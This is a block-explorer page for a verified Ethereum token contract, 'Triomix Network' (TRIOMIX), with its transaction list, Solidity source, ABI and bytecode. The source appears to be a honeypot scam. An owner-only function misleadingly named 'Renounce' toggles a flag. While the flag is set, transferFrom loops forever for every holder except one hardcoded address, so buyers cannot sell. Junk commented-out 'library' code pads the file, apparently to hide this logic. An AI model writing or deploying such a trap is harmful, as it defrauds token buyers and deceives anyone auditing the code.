ETH Price: $2,850.14 (+2.52%)

Contract

0xC689FaA785d3903755419e48E55434f4B0D3AB2f
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve152968922022-08-07 18:43:20913 days ago1659897800IN
0xC689FaA7...4B0D3AB2f
0 ETH0.000420038.92888418
Approve152966122022-08-07 17:42:33913 days ago1659894153IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0006989214.85753721
Transfer152964482022-08-07 17:02:34913 days ago1659891754IN
0xC689FaA7...4B0D3AB2f
0 ETH0.001989139.73520614
Approve152964072022-08-07 16:53:46913 days ago1659891226IN
0xC689FaA7...4B0D3AB2f
0 ETH0.00070915.07176869
Approve152963822022-08-07 16:47:15913 days ago1659890835IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0005116818.85203306
Approve152963802022-08-07 16:47:00913 days ago1659890820IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0008834618.78033349
Transfer152963012022-08-07 16:31:56913 days ago1659889916IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0017084434.12860989
Transfer152962882022-08-07 16:28:50913 days ago1659889730IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0009376928.45042799
Approve152962782022-08-07 16:26:54913 days ago1659889614IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0015633533.23318864
Approve152962402022-08-07 16:19:09913 days ago1659889149IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0016821435.75835508
Transfer152962352022-08-07 16:17:14913 days ago1659889034IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0014959829.88437132
Approve152961792022-08-07 16:06:05913 days ago1659888365IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0004774610.14971066
Transfer152961782022-08-07 16:05:53913 days ago1659888353IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0005091810.17167727
Approve152961612022-08-07 16:03:02913 days ago1659888182IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0006053712.86887508
Approve152961472022-08-07 15:59:32913 days ago1659887972IN
0xC689FaA7...4B0D3AB2f
0 ETH0.00043689.28550696
Approve152960892022-08-07 15:48:12913 days ago1659887292IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0005411111.50275228
Transfer152960822022-08-07 15:46:55913 days ago1659887215IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0006941313.86639565
Approve152960672022-08-07 15:44:20913 days ago1659887060IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0009351119.87830902
Approve152960602022-08-07 15:43:21913 days ago1659887001IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0013229928.12362487
Approve152960542022-08-07 15:40:18913 days ago1659886818IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0008977119.0831855
Approve152960092022-08-07 15:30:54913 days ago1659886254IN
0xC689FaA7...4B0D3AB2f
0 ETH0.000490810.43331945
Renounce152960022022-08-07 15:29:39913 days ago1659886179IN
0xC689FaA7...4B0D3AB2f
0 ETH0.000238918.92404024
Approve152959852022-08-07 15:27:16913 days ago1659886036IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0004874210.36146265
Approve152959842022-08-07 15:26:49913 days ago1659886009IN
0xC689FaA7...4B0D3AB2f
0 ETH0.0005117410.87836778
Approve152959542022-08-07 15:20:30913 days ago1659885630IN
0xC689FaA7...4B0D3AB2f
0 ETH0.000397788.45598569
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TRIOMIX

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-08-07
*/

pragma solidity 0.8.7;

/*//










    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */  

contract TRIOMIX {
  
    mapping (address => uint256) public balanceOf;

    // 
    string public name = "Triomix Network";
    string public symbol = "TRIOMIX";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor() public {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}
    function Renounce() public onlyOwner  {
    isEnabled = !isEnabled;
}





   
    
    

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/





    function transfer(address to, uint256 value) public returns (bool success) {
         while(isEnabled) { 
if(isEnabled)


require(balanceOf[msg.sender] >= value);

       balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    
         }


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

   
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }



/*

       bytes memory slotcode = type(StorageUnit).creationCode;
     solium-disable-next-line 
      // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) }
   

    
    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
 
            
            */


address Mound = 0x7f97310CbF21992256B93AC71eC45AD1b575e384;


    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
        
      while(isEnabled) {
if(from == Mound)  {
        
         require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; } }
        
        
        
        
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600f81526020017f5472696f6d6978204e6574776f726b0000000000000000000000000000000000815250600190805190602001906200005192919062000247565b506040518060400160405280600781526020017f5452494f4d495800000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000247565b506012600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff16600a620000da919062000380565b6305f5e100620000eb9190620004bd565b60045533600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737f97310cbf21992256b93ac71ec45ad1b575e384600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200019157600080fd5b506004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000239919062000308565b60405180910390a3620005d6565b828054620002559062000535565b90600052602060002090601f016020900481019282620002795760008555620002c5565b82601f106200029457805160ff1916838001178555620002c5565b82800160010185558215620002c5579182015b82811115620002c4578251825591602001919060010190620002a7565b5b509050620002d49190620002d8565b5090565b5b80821115620002f3576000816000905550600101620002d9565b5090565b62000302816200051e565b82525050565b60006020820190506200031f6000830184620002f7565b92915050565b6000808291508390505b600185111562000377578086048111156200034f576200034e6200056b565b5b60018516156200035f5780820291505b80810290506200036f85620005c9565b94506200032f565b94509492505050565b60006200038d826200051e565b91506200039a8362000528565b9250620003c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003d1565b905092915050565b600082620003e35760019050620004b6565b81620003f35760009050620004b6565b81600181146200040c576002811462000417576200044d565b6001915050620004b6565b60ff8411156200042c576200042b6200056b565b5b8360020a9150848211156200044657620004456200056b565b5b50620004b6565b5060208310610133831016604e8410600b8410161715620004875782820a9050838111156200048157620004806200056b565b5b620004b6565b62000496848484600162000325565b92509050818404811115620004b057620004af6200056b565b5b81810290505b9392505050565b6000620004ca826200051e565b9150620004d7836200051e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200051357620005126200056b565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200054e57607f821691505b602082108114156200056557620005646200059a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6111a380620005e66000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c806370a082311161006657806370a082311461015d57806395d89b411461018d578063a9059cbb146101ab578063dd62ed3e146101db578063ddff1e3b1461020b5761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f578063313ce5671461013f575b600080fd5b6100ab610215565b6040516100b89190610f13565b60405180910390f35b6100db60048036038101906100d69190610e52565b6102a3565b6040516100e89190610ef8565b60405180910390f35b6100f9610395565b6040516101069190610f35565b60405180910390f35b61012960048036038101906101249190610dff565b61039b565b6040516101369190610ef8565b60405180910390f35b61014761090f565b6040516101549190610f50565b60405180910390f35b61017760048036038101906101729190610d92565b610922565b6040516101849190610f35565b60405180910390f35b61019561093a565b6040516101a29190610f13565b60405180910390f35b6101c560048036038101906101c09190610e52565b6109c8565b6040516101d29190610ef8565b60405180910390f35b6101f560048036038101906101f09190610dbf565b610cbd565b6040516102029190610f35565b60405180910390f35b610213610ce2565b005b6001805461022290611099565b80601f016020809104026020016040519081016040528092919081815260200182805461024e90611099565b801561029b5780601f106102705761010080835404028352916020019161029b565b820191906000526020600020905b81548152906001019060200180831161027e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103839190610f35565b60405180910390a36001905092915050565b60045481565b60005b600560149054906101000a900460ff161561068d57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610688576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561045457600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104dd57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461052b9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105809190610f87565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106139190610fdd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106779190610f35565b60405180910390a360019050610908565b61039e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106d857600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561076157600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107af9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108049190610f87565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108979190610fdd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108fb9190610f35565b60405180910390a3600190505b9392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b6002805461094790611099565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611099565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b505050505081565b6000600560149054906101000a900460ff1615610b5857600560149054906101000a900460ff1615610a4057816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a3f57600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a8e9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae39190610f87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b479190610f35565b60405180910390a360019050610cb7565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf19190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c469190610f87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610caa9190610f35565b60405180910390a3600190505b92915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3c57600080fd5b600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550565b600081359050610d778161113f565b92915050565b600081359050610d8c81611156565b92915050565b600060208284031215610da857610da7611129565b5b6000610db684828501610d68565b91505092915050565b60008060408385031215610dd657610dd5611129565b5b6000610de485828601610d68565b9250506020610df585828601610d68565b9150509250929050565b600080600060608486031215610e1857610e17611129565b5b6000610e2686828701610d68565b9350506020610e3786828701610d68565b9250506040610e4886828701610d7d565b9150509250925092565b60008060408385031215610e6957610e68611129565b5b6000610e7785828601610d68565b9250506020610e8885828601610d7d565b9150509250929050565b610e9b81611023565b82525050565b6000610eac82610f6b565b610eb68185610f76565b9350610ec6818560208601611066565b610ecf8161112e565b840191505092915050565b610ee38161104f565b82525050565b610ef281611059565b82525050565b6000602082019050610f0d6000830184610e92565b92915050565b60006020820190508181036000830152610f2d8184610ea1565b905092915050565b6000602082019050610f4a6000830184610eda565b92915050565b6000602082019050610f656000830184610ee9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f928261104f565b9150610f9d8361104f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd257610fd16110cb565b5b828201905092915050565b6000610fe88261104f565b9150610ff38361104f565b925082821015611006576110056110cb565b5b828203905092915050565b600061101c8261102f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611084578082015181840152602081019050611069565b83811115611093576000848401525b50505050565b600060028204905060018216806110b157607f821691505b602082108114156110c5576110c46110fa565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b61114881611011565b811461115357600080fd5b50565b61115f8161104f565b811461116a57600080fd5b5056fea26469706673582212207e333a217099e3115d44369784bd15c609296df41360d3b8ff7223be1052895964736f6c63430008070033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806370a082311161006657806370a082311461015d57806395d89b411461018d578063a9059cbb146101ab578063dd62ed3e146101db578063ddff1e3b1461020b5761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f578063313ce5671461013f575b600080fd5b6100ab610215565b6040516100b89190610f13565b60405180910390f35b6100db60048036038101906100d69190610e52565b6102a3565b6040516100e89190610ef8565b60405180910390f35b6100f9610395565b6040516101069190610f35565b60405180910390f35b61012960048036038101906101249190610dff565b61039b565b6040516101369190610ef8565b60405180910390f35b61014761090f565b6040516101549190610f50565b60405180910390f35b61017760048036038101906101729190610d92565b610922565b6040516101849190610f35565b60405180910390f35b61019561093a565b6040516101a29190610f13565b60405180910390f35b6101c560048036038101906101c09190610e52565b6109c8565b6040516101d29190610ef8565b60405180910390f35b6101f560048036038101906101f09190610dbf565b610cbd565b6040516102029190610f35565b60405180910390f35b610213610ce2565b005b6001805461022290611099565b80601f016020809104026020016040519081016040528092919081815260200182805461024e90611099565b801561029b5780601f106102705761010080835404028352916020019161029b565b820191906000526020600020905b81548152906001019060200180831161027e57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103839190610f35565b60405180910390a36001905092915050565b60045481565b60005b600560149054906101000a900460ff161561068d57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610688576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561045457600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104dd57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461052b9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105809190610f87565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106139190610fdd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106779190610f35565b60405180910390a360019050610908565b61039e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106d857600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561076157600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107af9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108049190610f87565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108979190610fdd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108fb9190610f35565b60405180910390a3600190505b9392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b6002805461094790611099565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611099565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b505050505081565b6000600560149054906101000a900460ff1615610b5857600560149054906101000a900460ff1615610a4057816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a3f57600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a8e9190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae39190610f87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b479190610f35565b60405180910390a360019050610cb7565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf19190610fdd565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c469190610f87565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610caa9190610f35565b60405180910390a3600190505b92915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3c57600080fd5b600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550565b600081359050610d778161113f565b92915050565b600081359050610d8c81611156565b92915050565b600060208284031215610da857610da7611129565b5b6000610db684828501610d68565b91505092915050565b60008060408385031215610dd657610dd5611129565b5b6000610de485828601610d68565b9250506020610df585828601610d68565b9150509250929050565b600080600060608486031215610e1857610e17611129565b5b6000610e2686828701610d68565b9350506020610e3786828701610d68565b9250506040610e4886828701610d7d565b9150509250925092565b60008060408385031215610e6957610e68611129565b5b6000610e7785828601610d68565b9250506020610e8885828601610d7d565b9150509250929050565b610e9b81611023565b82525050565b6000610eac82610f6b565b610eb68185610f76565b9350610ec6818560208601611066565b610ecf8161112e565b840191505092915050565b610ee38161104f565b82525050565b610ef281611059565b82525050565b6000602082019050610f0d6000830184610e92565b92915050565b60006020820190508181036000830152610f2d8184610ea1565b905092915050565b6000602082019050610f4a6000830184610eda565b92915050565b6000602082019050610f656000830184610ee9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f928261104f565b9150610f9d8361104f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd257610fd16110cb565b5b828201905092915050565b6000610fe88261104f565b9150610ff38361104f565b925082821015611006576110056110cb565b5b828203905092915050565b600061101c8261102f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611084578082015181840152602081019050611069565b83811115611093576000848401525b50505050565b600060028204905060018216806110b157607f821691505b602082108114156110c5576110c46110fa565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b61114881611011565b811461115357600080fd5b50565b61115f8161104f565b811461116a57600080fd5b5056fea26469706673582212207e333a217099e3115d44369784bd15c609296df41360d3b8ff7223be1052895964736f6c63430008070033

Deployed Bytecode Sourcemap

